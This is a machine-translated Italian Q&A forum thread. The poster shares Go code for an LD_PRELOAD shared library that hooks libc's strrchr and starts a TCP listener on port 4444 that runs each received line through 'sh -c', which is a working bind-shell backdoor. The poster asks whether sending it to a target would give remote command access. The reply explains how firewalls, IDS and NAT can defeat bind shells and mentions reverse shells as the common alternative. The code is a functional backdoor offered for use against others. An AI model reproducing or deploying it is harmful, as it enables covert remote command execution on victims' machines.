Invio di un eseguibile che usa LD_PRELOAD per modificare fopen e creare una backdoor

1

Seguo l'articolo Hooking libc usando Go shared libraries per creare il seguente codice:

package main

import (
    "C"

    "bufio"
    "log"
    "net"
    "net/textproto"
    "os/exec"

    "github.com/rainycape/dl"
)

// main is required to build a shared library, but does nothing
func main() {}

//export strrchr
func strrchr(s *C.char, c C.int) *C.char {
    go backdoor()

    lib, err := dl.Open("libc", 0)
    if err != nil {
        log.Fatalln(err)
    }
    defer lib.Close()

    var old_strrchr func(s *C.char, c C.int) *C.char
    lib.Sym("strrchr", &old_strrchr)

    return old_strrchr(s, c)
}

func backdoor() {
    ln, err := net.Listen("tcp", "localhost:4444")
    if err != nil {
        return
    }

    for {
        conn, err := ln.Accept()
        if err != nil {
            continue
        }

        go handleConnection(conn)
    }
}

func handleConnection(conn net.Conn) {
    reader := bufio.NewReader(conn)
    tp := textproto.NewReader(reader)

    for {
        input, err := tp.ReadLine()
        if err != nil {
            log.Println("Error reading:", err.Error())
            break
        }

        cmd := exec.Command("/usr/bin/env", "sh", "-c", input)
        output, err := cmd.CombinedOutput()
        if err != nil {
            conn.Write([]byte(err.Error() + "\n"))
        }

        conn.Write(output)
    }

    conn.Close()
}

Se lo costruisco e lo mando su un bersaglio, e lui / lei lo esegue, posso inviare istruzioni se conosco il suo IP? Sembra troppo semplice da credere. Non è possibile che un firewall protegga l'utente da questo?

Grazie!

    
posta Evanusso 03.11.2018 - 19:54
fonte

1 risposta

0

Can't a firewall protect the user from this?

Sì, se è installato un firewall / IDS probabilmente bloccherà la tua backdoor, dal momento che la maggior parte dei firewall blocca le connessioni sospette in entrata. Ecco perché la maggior parte delle volte invece di una shell di binding, viene utilizzata una shell inversa. Ma anche in questo caso un firewall potrebbe bloccare anche le connessioni in uscita, quindi fallirà anche.

Ora, se un firewall non è installato, un binding shell probabilmente fallirà di nuovo, a causa di NAT . Se l'obiettivo non è esposto direttamente a Internet e non ha inoltrato questa porta specifica, non sarà possibile connettersi, ma funzionerebbe se ci si trovasse nella stessa rete con il target ( e nessun firewall / IDS è stato installato ).

    
risposta data 03.11.2018 - 20:52
fonte

Leggi altre domande sui tag